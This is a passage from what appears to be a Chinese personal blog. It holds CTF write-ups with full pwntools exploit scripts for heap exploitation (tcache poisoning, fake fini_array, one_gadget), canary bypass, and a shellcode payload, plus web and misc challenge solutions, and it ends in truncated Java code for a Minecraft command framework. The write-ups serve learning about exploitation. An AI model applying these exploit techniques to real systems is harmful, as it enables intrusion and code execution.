包含关键字 C 的文章

题目链接

Pwn - Ottoshop♿

​ 在 main 函数里看到,输入 666 可以获得一次购买 golden ♿ 的机会。注意到设置 ♿ 名字的 scanf 存在溢出。 scanf 读取数字时,输入 +- 即可跳过一次输入(因为不知道这回事卡了好久 😭),这样可以绕过 canary 保护,修改返回地址劫持控制流。buy 函数和 change 函数中都未检查负数 index,可以向上任意写。在一堆 otto 函数(雾)中发现后门函数 o77oOtTo0T70()(由于直接用 syscall 而非封装函数,所以从 got 表看不出端倪),其检查 flag2 值是否为 otto 并从 flag1 中异或出 /bin/sh\0 并执行 execve。所以只需要用 buy 修改 flag2(index = -72)、money(index = -90),用 golden 劫持控制流至后门函数即可。

Exp:

from pwn import *

context.terminal = ['konsole', '-e']

binary = 'ottoshop'
p = process(binary)
elf = ELF(binary)

address = 0x04020A4
need_to_be_666 = 0x407580
start = 0x407180
flag2 = 0x407060
money = 0x407018

pos1 = (flag2 - start) // 4
pos2 = (money - start) // 4

p.sendline(b'666')
p.sendline(b'')

p.sendline(b'1')
p.sendline(b'-72')
p.send(b'otto')

p.sendline(b'1')
p.sendline(b'-90')
p.send(b'abcd')

p.sendline(b'3')
p.sendline(b'4')
p.sendline(b'0')
p.sendline(b'+')
p.sendline(b'0')
p.sendline(b'4202660')
p.interactive()

Pwn - game

​ 游戏是数字华容道。发现上下移动不会检查边界,可以修改返回地址。程序中存在后门函数 backdoor()。一开始的思路是利用栈中残余固定的值拼凑出一个 backdoor 的地址。但是调试起来十分麻烦,所以用 Python 重写了游戏,可视化手动玩,自动生成脚本,大幅减轻负担。

import numpy

input_str = '''
0x7ffc0836c080: 0x00007ffc0836c090      0x0000598b0000000a
0x7ffc0836c090: 0x010a08090204050b      0x000d070f0e060c03
0x7ffc0836c0a0: 0x00007ffc0836c1f8      0x15445e0a74b74c00
0x7ffc0836c0b0: 0x00007ffc0836c0e0      0x0000598b817dcf48
0x7ffc0836c0c0: 0xdcdcd8d8dcd8dcd8      0x0000769a5ce75400
'''
print()

def flat(eles):
    res = []
    for i in eles:
        if isinstance(i, list):
            res.extend(flat(i))
        else:
            res.append(i)
    return res

data = flat([([i.split(':')[1].strip().split('      ')[0].replace('0x', '')] + [i.split(':')[1].strip().split('      ')[1].replace('0x', '')]) for i in input_str.strip().split('\n')])

tiles = []

for addr in data:
    temp = []
    while len(addr) != 0:
        temp.append(addr[0:2])
        addr = addr[2:]
    tiles.extend(temp[::-1])

tiles_np = numpy.array(tiles).reshape(len(tiles) // 4, 4)
tiles = tiles_np.tolist()

# 一些提示符
tiles[7][2] = 'YY'
tiles[7][3] = 'XX'
tiles[10][3] = '||'
tiles[11][3] = '||'
tiles[14][0] = '-0'
tiles[14][1] = '-1'
tiles[14][2] = 'EE'
tiles[14][3] = 'FF'
tiles[15][0] = 'AA'
tiles[15][1] = 'BB'
tiles[15][2] = 'CC'
tiles[15][3] = 'DD'

moves = []

class Point:
    x: int
    y: int

p = Point()
p.x = 3
p.y = 7

def up():
    moves.append('up')
    tiles[p.y][p.x], tiles[p.y - 1][p.x] = tiles[p.y - 1][p.x], tiles[p.y][p.x]
    p.y -= 1

def down():
    moves.append('down')
    tiles[p.y][p.x], tiles[p.y + 1][p.x] = tiles[p.y + 1][p.x], tiles[p.y][p.x]
    p.y += 1

def left():
    moves.append('left')
    tiles[p.y][p.x], tiles[p.y][p.x - 1] = tiles[p.y][p.x - 1], tiles[p.y][p.x]
    p.x -= 1

def right():
    moves.append('right')
    tiles[p.y][p.x], tiles[p.y][p.x + 1] = tiles[p.y][p.x + 1], tiles[p.y][p.x]
    p.x += 1
   
moves = []

while True:
    print(numpy.array(tiles))
    move = input('> ')
    match move:
        case 'w':
            up()
        case 'a':
            left()
        case 's':
            down()
        case 'd':
            right()
        case 'e':
            break
        case _:
            print('Invalid')
            
for move in moves:
    print(move + '(1)')

​ 好不容易拼凑出地址(由于开了 PIE 保护,所以需要爆破 1/16 概率),发现由于栈对齐,system 函数调用出现 SIGSEGV(😇)。在栈上合理范围内实在找不到可以拼凑出 backdoor + 1 等地址的值。然后,然后,然后突然发现程序开头我一直无视的 name,其实可以输入一个地址(还是经验少了 😫)。

Exp:

from pwn import *
import time

context.terminal = ['konsole', '-e']

binary = 'game'
p = process(binary)
elf = ELF(binary)

backdoor = 0xCD8
ret_ori = 0xF48

SLEEP = 0.001

def up(times: int):
    for _ in range(times):
        p.send(b'w')
        time.sleep(SLEEP)

def down(times: int):
    for _ in range(times):
        p.send(b's')
        time.sleep(SLEEP)

def left(times: int):
    for _ in range(times):
        p.send(b'a')
        time.sleep(SLEEP)

def right(times: int):
    for _ in range(times):
        p.send(b'd')
        time.sleep(SLEEP)

while True:
    binary = 'game'
    p = process(binary)
    p.sendline(p64(0xDCDCD8D8DCD8DCD8))
    p.sendline(b'')
    p.sendline(b'')

    left(3)
    up(5)
    right(1)
    down(5)
    right(2)

    # 自动生成
    down(1)
    down(1)
    down(1)
    down(1)
    down(1)
    down(1)
    down(1)
    down(1)
    left(1)
    left(1)
    left(1)
    down(1)
    down(1)
    right(1)
    right(1)
    up(1)
    up(1)
    left(1)
    down(1)
    right(1)
    up(1)
    up(1)
    left(1)
    left(1)
    down(1)
    down(1)
    right(1)
    right(1)
    up(1)
    up(1)
    left(1)
    down(1)
    down(1)
    left(1)
    up(1)
    right(1)
    down(1)
    down(1)
    right(1)
    right(1)
    up(1)
    left(1)
    up(1)
    up(1)
    right(1)
    down(1)
    down(1)
    left(1)
    up(1)
    up(1)
    right(1)
    down(1)
    left(1)
    up(1)
    right(1)
    up(1)
    up(1)
    up(1)
    up(1)
    up(1)
    up(1)
    up(1)

    for i in range(93):
        left(1)
        right(1)
    
    try:
        p.sendline(b'')
        p.sendline(b'')
        p.sendline(b'')
        p.interactive()
    except EOFError:
        continue

Reverse - Long long call

​ (Pwn 暂时做不出来,跑去隔壁逆向看看 🤓。)IDA 打开后发现反编译完全没意义了。程序中每个汇编语句都用一个调用、一个抵消调用栈的 add rsp, 0x8,一对无意义 pushf popf 混淆,用 gdb 调试发现存在反调试,通过查找文本 Hacker 定位到反调试触发点,用 Keypatch 将其填 nop0x14AF0x14B3)拿下反调试,然后就可以愉快调试了。逆向发现 0x4080 处存储了混淆后的 flag,程序逻辑是对输入字符串每两字符对其和分别原地求异或,并与同样加密后的 flag 比较。取出加密后 flag,编写 Python 脚本爆破得原始 flag。

def crack(A, B):
    for a in range(0,255):
        for b in range(0,255):
            if ((a^(a+b)) == A) and (b^(a+b) == B):
                print(f"{chr(a)}{chr(b)}", end="")

data = [[0xBB, 0xBF], [0xB9, 0xBE], [0xC3, 0xCC], [0xCE, 0xDC], [0x9E, 0x8F], [0x9D, 0x9B], [0xA7, 0x8C], [0xD7, 0x95], [0xB0, 0xAD], [0xBD, 0xB4], [0x88, 0xAF], [0x92, 0xD0], [0xCF, 0xA1], [0xA3, 0x92], [0xB7, 0xB4], [0xC9, 0x9E], [0x94, 0xA7], [0xAE, 0xF0], [0xA1, 0x99], [0xC0, 0xE3], [0xB4, 0xB4], [0xBF, 0xE3]]

for d in data:
    crack(d[0], d[1])

Pwn - PhoneBook

​ 收获最多的一集,综合复习/学习了各种堆利用方法。

​ (后附图)

0x00 Leak Heap Ptr

​ 分析程序,保护开满,增删改查堆题。发现 phone 字段存在三字节溢出,可以修改其后的 next 字段以达成任意分配堆地址,得到任意读任意写机会。通过构造两个假 chunk(offset:0x10、0x20,id:50、51),以其作为桥梁泄漏堆地址。定义 person 结构体助记:

00000000 person          struc ; (sizeof=0x28, mappedto_8)
00000000 id              dq ?
00000008 name            db 16 dup(?)            ; string(C)
00000018 phone           db 8 dup(?)             ; string(C)
00000020 next            dq ?                    ; offset
00000028 person          ends

Exp 0:

add(b'\n', b'\n')
add(b'456\n', b'\n')
edit(1, b'\n', b'A'*9) # 连通后方 next_ptr
show()
rec = p.recv()
pos = rec.index(b'A'*9)
chunk2_addr = u64(b'\0' + rec[pos+9: pos+14] + b'\0\0')
chunk1_addr = chunk2_addr - 0x30
chunk3_addr = chunk2_addr + 0x30
fake_chunk0_addr = chunk2_addr + 0x10
fake_chunk1_addr = chunk2_addr + 0x20
print('fake chunk0: ' + hex(fake_chunk0_addr))
print('fake chunk1: ' + hex(fake_chunk1_addr))
print('chunk2: ' + hex(chunk2_addr))

(chunk 地址必须 0x10 对齐,否则 free 时出错。)

0x01 Unsorted Bin Leak Libc

​ 再次以 chunk1 为引导,fake_chunk0chunk2 为桥梁在 fake_chunk1 处构造假 unsorted bin 大小(0x840)的 chunk,并加上 PREV_INUSE 标志(0x1),其 size 位于原 person 结构体的 phone 处,连续填充多个 phone 字段为 0x31 的 chunk(偷懒不想算精确位置),以绕过 unsorted bin prev chunk size 检查。最后 delete fake_chunk1进入 unsorted bin,其 bk 字段(原 fake_chunk1 name)已被修改为 libc 上 main_arena 地址,用 show 获取得 libc 基址。需要注意绕过 id 大小检查(与 next 冲突)和 add 填零(所以这块很绕 😀)。

Exp 1:

edit(1, b'\n', cyclic(8) + p64(chunk2_addr)[0:2]) # 暂时恢复
for i in range(50): # 冗余
    add(b'\n', p64(0x31))
    p.recv()
edit(3, cyclic(8) + p64(chunk3_addr), b'\n')
edit(2, p64(49) + p64(50)[0:7], p64(0x841) + p64(fake_chunk0_addr)[0:2])
edit(50, p64(0x841) + p64(51)[0:7], cyclic(8) + p64(fake_chunk1_addr)[0:2])
edit(1, b'\n', cyclic(8) + p64(fake_chunk1_addr)[0:2])
delete(51) # VULN
edit(1, b'\n', cyclic(8) + p64(fake_chunk1_addr)[0:2])
p.recv()
show()
rec = p.recv()
pos = rec.rfind(cyclic(8))
main_arena_addr = u64(rec[pos+30:pos+36] + b'\0\0')
print('main_arena: ' + hex(main_arena_addr))
main_arena_offset = 0x219CE0
free_hook_offset = 0x2204A8
libc_base_addr = main_arena_addr - main_arena_offset
print('libc: ' + hex(libc_base_addr))

(填入后半段 name 字段时有 [0:7] 是因为只 read 15 字节)

0x02 Leak _rtld_global._ns_loaded (link_map)

​ 到这里正常解法是利用上述任意写直接覆盖 malloc_hook 等,写入 one _gadget,卡了好久突然意识到 glibc 2.34 已移除各种 hook(😩),只好另辟蹊径。打 IO 没学过/太麻烦,现学了一个较简单的高版本打法(好像叫 House of Banana?)。

​ glibc 中链接了 ld.so 中的一个符号 _rtld_global,其保存不少用于动态链接的运行时信息。我们主要关注 _ns_loaded 字段(offset:0x00),这是一个结构体指针(链表),其指向的字段 l_addr(offset:0x00)保存了程序基址,通过分析 glibc exit(int) 函数源码发现,其执行中途会读取该字段并根据它寻找并执行 fini_array 中存储的函数(指针)。我们劫持 _ns_loaded,将其改为 堆上一可控地址 - fini_array 偏移量,再向该可控位置填入 one_gadget 即可。

​ 首先泄露地址。用类似 0x00 步的方法,泄露出 _rtld_global_ns_loaded 地址。(虽然网上许多文章都认为这两个地址以及 ld.so 即使开了 ASLR 也与 libc 有固定偏移,或本地与远程不同只需爆破两字节,但我经实验发现本地甚至每次执行都不同 🤔。)

Exp 2:

rt_ld_global = libc_base_addr + 0x21A878
edit(1, b'\n', cyclic(8) + p64(fake_chunk0_addr)[0:2])
edit(50, cyclic(8) + p64(51)[0:7], cyclic(8) + p64(fake_chunk1_addr)[0:2])
edit(1, b'\n', cyclic(8) + p64(fake_chunk1_addr)[0:2])
edit(51, cyclic(8) + p64(rt_ld_global - 0x8)[0:7], b'\n')
edit(1, b'\n', cyclic(8) + p64(fake_chunk0_addr)[0:2])
show()
rec = p.recv()
pos = rec.find(b'@')
_rtld_global_addr = u64(rec[pos:pos+6] + b'\0\0')
print('_rtld_global addr: ' + hex(_rtld_global_addr))
link_map_addr = _rtld_global_addr + 0x12A0

0x03 Tcache Bin Poisoning Arbitrary Write

​ 先随意 delete 一个 chunk 再 delete chunk3 。此时 chunk3 已进入 tcache bin 且后进先出(LIFO)。借助之前泄漏的堆地址右移 12 位对目标地址按位异或(混淆)绕过 safe-linking,并如法炮制修改 chunk3 tcache bin next 字段(原 chunk3 id)为混淆后的 &_ns_loaded - 0x10。第一次 add 使 tcache bin 中最后一个 chunk 的 next 字段指向目标,再次 add 分配新 chunk 至目标并将其修改为可控堆地址。但是在此之前,由于从 tcache bin 取出最后一个 chunk 时会先检查 unsorted bin,需要先恢复 fake_chunk1(在 unsorted bin 中)的 size,否则出错。

Exp 3:

chunk5_addr = chunk3_addr + 0x60
chunk6_addr = chunk5_addr + 0x30
fini_array_offset = 0x3D78
target = link_map_addr
fake_rt_ld_addr = chunk6_addr
print('target: ' + hex(target - 0x10))
edit(1, b'\n', cyclic(8) + p64(fake_chunk0_addr)[0:2])
edit(50, p64(0x841) + p64(51)[0:7], b'\n')
edit(1, b'\n', cyclic(8) + p64(fake_chunk1_addr)[0:2])
edit(51, p64(0x31) + p64(3)[0:7],cyclic(8) + p64(chunk3_addr)[0:2])
delete(4)
delete(3)
edit(51, p64(0x31) +
        p64(
            (target - 0x10) ^ (fake_chunk1_addr >> 12) # name (0x10)
        )[0:7],                                        # unsafe unlink
    cyclic(8) + p64(chunk5_addr)[0:2])
add(b'PWN!', b'PWN!')
add(cyclic(8) + p64(fake_rt_ld_addr + 0x8 - fini_array_offset)[0:7], p64(4)) # name (0x8)
edit(1, b'123', cyclic(8) + p64(fake_chunk0_addr)[0:2])
edit(50, p64(0x841) + p64(main_arena_addr)[0:7], p64(main_arena_addr))
edit(1, b'123', cyclic(8) + p64(chunk6_addr)[0:2])

(chunk 地址必须 0x10 对齐,否则从 tcache bin 取出 chunk 时出错,所以未选择偏移 0x08 刚好到达 name 字段。add 会破坏 _rt_global 结构不过好在不影响利用。)

0x04 Fake fini_array

​ 终于结束了。在对应位置写入 one_gadget,exit getshell。(🥳🎉)

Exp 4:

one_gadget = 0xebcf1
edit(6, p64(libc_base_addr + one_gadget), cyclic(8))
exitit()

p.interactive()

0xff Appendix

一张图:

                     +main--+                    
                     | ...  |                    
                     | size |                    
                     |  id1 |                    
                     |  na  |                    
                     |  me  |                    
                     | phone|                    
                     | next |                    
                     | size |                    
                     |  id2 | +fake0-+           
                     |  na  |-| size |           
            +fake1-+ |  me  |-| id50 |           
            | size |-| phone|-|  na  |           
unsort pos->| id51 |-| next |-|  me  |           
            |  na  |-| size |-| phone|           
            |  me  |-|  id3 |<| next |-tcache pos
            | phone|-|  na  | +------+           
            | next |-|  me  |                    
            +------+ | phone|                    
                     | next |                    
                     | size |                    
                     | ...  |                    
                     +------+                    

一些操作的封装:

def s():
    time.sleep(0.01)

def add(name: bytes, phone: bytes):
    p.sendline(b'1')
    s()
    p.send(name)
    s()
    p.send(phone)
    s()

def delete(index: int):
    p.sendline(b'2')
    s()
    p.sendline(str(index).encode())
    s()

def show():
    p.sendline(b'3')
    s()

def edit(index: int, name: bytes, phone: bytes):
    p.sendline(b'4')
    s()
    p.sendline(str(index).encode())
    s()
    p.send(name)
    s()
    p.send(phone)
    s()

def exitit():
    p.sendline(b'5')
    s()

(用 sendafter 更好,但是我总是遇到奇奇怪怪问题,懒得调了。)

参考资料

CTF Time - StrVec Writeup

CTF Wiki - Tcache attack

FreeBuf - GLIBC2.35有“HOOK”?带你打开高版本GLIBC漏洞利用的新世界

Pwn - 2 bytes

​ 分析程序发现用溢出绕过strcmp(...)检查后只有 2 字节(点题)shellcode 可用,另有 5 字节空间。枚举机器码发现 syscall 正好两字节(\x0f\x05),而且当前寄存器布局因为先前的mmap(...)调用和 mov eax, 0 ,很适合read系统调用,但是差一点,需要交换 rdxrsi 位置。折腾很久后发现可以先 jmp 0xfffffffffffffffb\xeb\xf9)至 passwd 开头处(-5),从而执行更多指令:xchg rdx, rsi\x48\x87\xf2)+ syscall。(加上 jmp 竟然正好 7 字节 😧)最后写入真正的 shellcode 即可。另外编写 Python 脚本绕过异或混淆。

Exp:

from pwn import *

context.terminal = ['konsole', '-e']
context(os='linux', bits=64, arch='amd64')

binary = './pwn'
p = process(binary)
elf = ELF(binary)

b'\x48\x87\xf2\x0f\x05\xeb\xf9'
def crack(sh: bytes):
    res: bytes = sh[:2]
    for i in range(5):
        for c in range(256):
            if sh[i + 2] == sh[i] ^ sh[i + 1] ^ c:
                res += c.to_bytes()
                break
    return res

def mangle(sh: bytes):
    for i in range(0, 5):
        sh = sh[:i + 2] + (sh[i] ^ sh[i + 1] ^ sh[i + 2]).to_bytes() + sh[i + 3:]
    return sh

def tryit(code: str):
    b = asm(code)
    b = b[0:2] + b'\0' + b[3:]
    print(disasm(b))

payload = b'H\x87=z\xf8\xe1\x17'
payload = payload + b'\0' + payload

p.send(payload)
p.send(asm(shellcraft.sh()))
p.interactive()

作者: RiK (3050/223)

第一次参加 HG,明显感受到出题质量很高,做起来整体感觉很爽!(后面好难,一个都不会呃呃)

取部分解出题目写一篇 WP。新人实力有限,有误望指正。

1. 赛博井字棋

打开题目玩了几局后发现不可能以正常方式解题。而后尝试伪造 POST 请求,发现比较复杂(作为备选方案)。打开浏览器开发人员工具 (F12) 注意到以下代码:

static/script.js
async function setMove(x, y) {
if (board\[x\]\[y\] != 0) {
return;
}
if (frozen) {
return;
}
let url = window.location.href; // 获取当前 URL
let data = { x: x, y: y }; // 设置要发送的数据
return fetch(url, {
method: "POST", // 设置方法为 POST
headers: {
"Content-Type": "application/json", // 设置内容类型为 JSON
},
body: JSON.stringify(data), // 将数据转换为 JSON 格式
}).catch(errorHandler);
}

于是通过 Console 重新定义(覆盖)该函数并将前两个 if 语句删除,Restart,强制占用对手棋子位置,获胜得到 flag:

flag{I_can_eat_your_pieces_53f95d1546}

2. 组委会模拟器

打开题目尝试手动撤回,不出意料消息发送过快,人工撤回不可能,于是编写 Python脚本自动撤回。(其实用 JS 直接监听更方便)

import requests, re, json, asyncio
async def send_delete(delay: float, id: int):
await asyncio.sleep(delay)
res = requests.post(
"http://202.38.93.111:10021/api/deleteMessage",
json={"id": id},
cookies={
> "session": "\[token\]"
},
headers={"Content-Type": "application/json"},
)
print(res.text)
res = requests.post(
"http://202.38.93.111:10021/api/getMessages",
cookies={
> "session": "\[token\]"
},
headers={"Content-Type": "application/json"},
)
data = json.loads(res.text)
illegal_req = \[\]
id = 0
for msg in data\["messages"\]:
if re.findall(r"hack\\\[a-z\]+\\", msg\["text"\]):
illegal_req.append(send_delete(msg\["delay"\], id))
id += 1
await asyncio.gather(\*illegal_req)
res = requests.post(
"http://202.38.93.111:10021/api/getflag",
cookies={
> "session": "\[token\]"
},
headers={"Content-Type": "application/json"},
)
print(res.text)

由于单纯地 sleep()requests.get() 的执行时间会因网络延时不断偏移预定值,可通过测量请求时间相减抵消,此处选用 asyncio 库并发解决。最后得到 flag:

flag{Web_pr0gra_mm1ng_36a712733a_15fun}

3. 虫

由于以前玩过业余无限电,一看到这题当场乐了,使用安卓手机软件 Robot36,外录音频后自动解码 SSTV 图像结果如下:

20231031_174506

于是得到 flag:

flag{SSssTV_y0u_W4NNa_HaV3_4_trY}

4. Git? Git!

一开始使用 git log 找了个遍发现根本没有包含 flag 的 commit,后来索性对所有文件暴力搜索关键词 "flag" 没有结果,后来意识到是它可能是以二进制形式存储。本想放弃,网上搜索发现 git reflog 可以显示存储在本地的更详细的操作历史:

git reflog
ea49f0c (HEAD -\> main) HEAD@{0}: commit: Trim trailing spaces
15fd0a1 (origin/main, origin/HEAD) HEAD@{1}: reset: moving to HEAD~
505e1a3 HEAD@{2}: commit: Trim trailing spaces
15fd0a1 (origin/main, origin/HEAD) HEAD@{3}: clone: from https://github.com/dair-ai/ML-Course-Notes.git

。执行命令

git reset 15fd0a1 --hard

后在 README.md 中第 19 行找到 flag:

flag{TheRe5\_@lwAy5_a_R3GreT_pi1l_1n_G1t}

5. LD_PRELOAD, love!

LD_PRELOAD 是一个环境变量,可以实现在运行实际程序前更改程序的动态链接库。但是它并不能更改静态链接库。于是编写程序如下:

capture_flag.c
\#include \<stdio.h\>
\#include \<stdlib.h\>
int main(void) {
char \*flag_str;
size_t n;
FILE \*flag_file;
flag_file = fopen("/flag", "r");
if (flag_file == NULL) {
perror("Cannot open flag file");
exit(EXIT_FAILURE);
}
open_memstream(&flag_str, &n);
getline(&flag_str, &n, flag_file);
puts(flag_str);
fclose(flag_file);
return 0;
}

。执行命令

gcc capture_flag.c -o capture_flag -static

静态链接编译程序,上传执行程序后输出 flag:

flag{nande_ld_preload_yattano_6e6cacbe72}

6. 流式星球

被下面几个细节坑了好久(最难绷的一集):

  • 使用 numpy.fromfile() 时一定要指定 dtype=numpy.uint8 啊啊啊啊。
  • 使用 np.hstack() 后同样要将数组转换为 uint8 型否则 opencv 报错。
  • assert 语句的意思是条件不成立时异常,所以宽高不是 10 的倍数。
  • 视频宽高不用强行枚举凑,用 Hex 编辑器打开源文件发现周期大致为 1281 字节,宽高取其因数即可。

最后得到 flag:

flag{it-could-be-eazy-to-restore-video-with-haruhikage-even-without-metadata-0F7968CC}

7. 奶奶的睡前 flag 故事

用 pngcheck 发现有两个 IEND 后想方设法拼接、拆分;读 PNG Specification 用 Hex 编辑器手写 IHDR、IDAT、IEND 块,配合 pngcheck 算 CRC ……整了两天最后还是没做出来,libpng 一直报错(zlib 相关),下半部分就是加载不出来。结果赛后得知有现成工具???(我的评价是多读题干)

本文发布于 2026 年 3 月。

想要搭建一个博客的想法从高中就有了,不过一直没有足够的动力完成这件事。直到后来在大学接触到 CTF 才重拾搭建个人网站的兴趣。在高中那段时间的一些简陋的小玩意就全都放在这里啦。(留作回忆)

Minecraft Bukkit 声明式命令框架

高中时(2021)和一个同班同学琢磨着开一个 Minecraft 插件服务器骗钱,在那段时间写了很多服务器插件。(记得当时经常需要逆向分析一些付费的闭源插件。)最终整个项目(PolarLand)因长期没有进展一直在折腾一些底层的架构而永久搁置。如果那时候有现在这样的 Agentic Coding 的话大概不会放弃吧。其中一个插件是将原本重复繁琐的处理玩家命令的功能写成一个声明式框架。说实话,里面有一些想法直到今天的我看来也是十分 hack (nerd) 的。比如为了将玩家传入的 x y z 坐标自动实例化为 Location 于是在运行时编译一个 Java 类来实现;还有一个 Array 转数组的魔法操作 parsedArgs.add(parsedArray.toArray((Object[]) Array.newInstance(type.getComponentType(), 0)));以及后面的 tab 键补全嵌套的命令参数(参数的类型是命令)功能。

核心源码:

/*
 * Copyright 2022 pwnerik.cn
 * 
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 * 
 *     http://www.apache.org/licenses/LICENSE-2.0
 * 
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package net.polarmc.bukkitplugin.poleax.kit.command.parser;

import com.itranswarp.compiler.JavaStringCompiler;
import net.polarmc.bukkitplugin.poleax.kit.command.CommandModel;
import net.polarmc.bukkitplugin.poleax.kit.command.NoSuchCommandException;
import net.polarmc.bukkitplugin.poleax.kit.command.annotation.Optional;
import net.polarmc.bukkitplugin.poleax.kit.command.annotation.*;
import net.polarmc.bukkitplugin.poleax.kit.command.util.Util;
import net.polarmc.bukkitplugin.poleax.utils.MessageUtil;
import org.apache.commons.lang.StringUtils;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.Location;
import org.bukkit.World;
import org.bukkit.command.CommandSender;
import org.bukkit.command.PluginCommand;
import org.bukkit.command.TabExecutor;
import org.bukkit.entity.Player;
import org.bukkit.help.HelpTopic;
import org.bukkit.util.StringUtil;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;

import java.io.IOException;
import java.lang.annotation.Annotation;
import java.lang.reflect.Array;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.*;
import java.util.stream.Collectors;

public class CommandBinder implements TabExecutor { // TODO text

    private final List<ParsedCommand> commands = new ArrayList<>();
    private final String messagePrefix;
    private final StringBuilder helpText = new StringBuilder();
    private final List<List<Object>> routeRaw = new ArrayList<>();
    private final Map<String, Completer> customCompleters = new HashMap<>();
    private static final List<Method> toBeWrappedMethods = new ArrayList<>();

    public CommandBinder(String rootCommand, String messagePrefix) {
        this.messagePrefix = messagePrefix;
//        Bukkit.getPluginCommand(rootCommand).setExecutor(this);
//        Bukkit.getPluginCommand(rootCommand).setTabCompleter(this);
    }

    public CommandBinder bind(CommandModel model) {
        bind0(new BasicCommandModel(), new String[0]);
        bind0(model, new String[0]);
        parseTabComplete();
        return this;
    }

    @SuppressWarnings("unused")
    public CommandBinder bindCompleter(String parameterId, Completer completer) {
        customCompleters.put(parameterId, completer);
        return this;
    }

    public boolean parse(CommandSender sender, String label, String @NotNull [] args) {
        if (args.length == 0) {
            args = new String[]{"help"}; //重定向到 help
        }
        ParsedCommand entry;
        try {
            entry = findEntry(args);
        } catch (NoSuchCommandException e) {
            sender.sendMessage(messagePrefix + ChatColor.RED + e.getMessage());
            return false;
        }
        String[] realArgs = Arrays.copyOfRange(args, entry.getRoute().size(), args.length);
        if (sender instanceof Player) {
            if (Arrays.stream(entry.getPermissions()).anyMatch(permission -> !sender.hasPermission(permission))) {
                sender.sendMessage(messagePrefix + ChatColor.RED + "错误: 权限不足.");
                return false;
            }
        } else if (entry.isPlayerSenderRequired()) {
            sender.sendMessage(messagePrefix + ChatColor.RED + "错误: 该命令只能由玩家执行.");
            return false;
        }
        int optionalCount = 0;
        if (realArgs.length != entry.getParameters().size()) {  //TODO bind时计算
            for (Parameter arg : entry.getParameters()) {
                if (arg.isOptional()) {
                    optionalCount++;
                }
            }
            if (entry.getParameters().get(entry.getParameters().size() - 1).getType().isArray()) {
                if (realArgs.length < entry.getParameters().size() - optionalCount) {
                    sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数长度有误, 需要至少 %d / 提供 %d.",
                            entry.getParameters().size() - optionalCount,
                            realArgs.length));
                    return false;
                }
            } else {
                if (optionalCount == 0) {
                    sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数长度有误, 需要 %d / 提供 %d.",
                            entry.getParameters().size(),
                            realArgs.length));
                    return false;
                }
                int requiredLength = entry.getParameters().size() - optionalCount;
                if (realArgs.length < requiredLength) {
                    sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数长度有误, 需要 %d 至 %d / 提供 %d.",
                            requiredLength,
                            entry.getParameters().size(),
                            realArgs.length));
                    return false;
                }
            }
        }
        String[] fullCommandLine = new String[args.length + 1]; // 用于报错
        fullCommandLine[0] = "/" + label;
        System.arraycopy(args, 0, fullCommandLine, 1, args.length);
        int i = 0;
        boolean arrayParameterPresented = false;
        List<Object> parsedArgs = new ArrayList<>();
        Parameter parameter;
        Class<?> type;
        Object value;
        for (String arg : realArgs) {
            parameter = entry.getParameters().get(i);
            type = parameter.getType();
            if (type.isArray()) {
                arrayParameterPresented = true;
                ArrayList<Object> parsedArray = new ArrayList<>();
                for (; i < realArgs.length; i++) { //主动 index 由预处理 parameter 变为用户传入 argument
                    try {
                        if (String[].class.equals(type)) {
                            parsedArray.add(realArgs[i]);
                        } else {
                            Object arrayElementValue = type.getComponentType().getMethod("valueOf", String.class)
                                    .invoke(null, realArgs[i]); // 静态方法无需依赖对象, 故传null.
                            if (isNumberClass(type.getComponentType()) && (((Number) arrayElementValue).longValue() < parameter.getMin() ||
                                    ((Number) arrayElementValue).longValue() > parameter.getMax())) { //忽略此警告, 因为参数类型已经确定
                                sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数 %s[%d] 的值超出范围 ([%d, %d]).",
                                        parameter.getName(),
                                        i - entry.getParameters().size() + 1,
                                        parameter.getMin(),
                                        parameter.getMax()));
                                sender.sendMessage(messagePrefix + ChatColor.RED + argsToString(fullCommandLine));
                                sender.sendMessage(messagePrefix + ChatColor.RED + generateErrorWavyUnderline(fullCommandLine, i + 2));
                                return false;
                            }
                            parsedArray.add(arrayElementValue);
                        }
                    } catch (IllegalAccessException | NoSuchMethodException e) {
                        sender.sendMessage(messagePrefix + ChatColor.RED + "错误: 内部错误 (0x01).");
                        e.printStackTrace();
                        return false;
                    } catch (InvocationTargetException e) {
                        if (type.getComponentType().isEnum()) {
                            sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数 %s[%d] 的值只能为 %s 之一",
                                    parameter.getName(),
                                    i - entry.getParameters().size() + 1,
                                    Util.simplify(Arrays.toString(Util.getOptions(type.getComponentType())))));
                            sender.sendMessage(messagePrefix + ChatColor.RED + argsToString(fullCommandLine));
                            sender.sendMessage(messagePrefix + ChatColor.RED + generateErrorWavyUnderline(fullCommandLine, i + 2));
                        } else {
                            if (isNumberClass(type.getComponentType()) && StringUtils.isNumeric(realArgs[i])) {
                                if (parameter.getMin() != Long.MIN_VALUE || parameter.getMax() != Long.MAX_VALUE) {
                                    sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数 %s[%d] 的值超出范围 ([%d, %d]).",
                                            parameter.getName(),
                                            i - entry.getParameters().size() + 1,
                                            parameter.getMin(),
                                            parameter.getMax()));
                                } else {
                                    try {
                                        sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数 %s[%d] 的值超出范围 ([%d, %d]).",
                                                parameter.getName(),
                                                i - entry.getParameters().size() + 1,
                                                type.getComponentType().getField("MIN_VALUE").get(null), //忽略此警告, 因为参数类型已经确定
                                                type.getComponentType().getField("MAX_VALUE").get(null))); //忽略此警告, 因为参数类型已经确定
                                    } catch (IllegalAccessException | NoSuchFieldException ex) {
                                        sender.sendMessage(messagePrefix + ChatColor.RED + "错误: 内部错误 (0x03).");
                                        e.printStackTrace();
                                        return false;
                                    }
                                } // TODO 不必要的 if bind 时处理
                            } else {
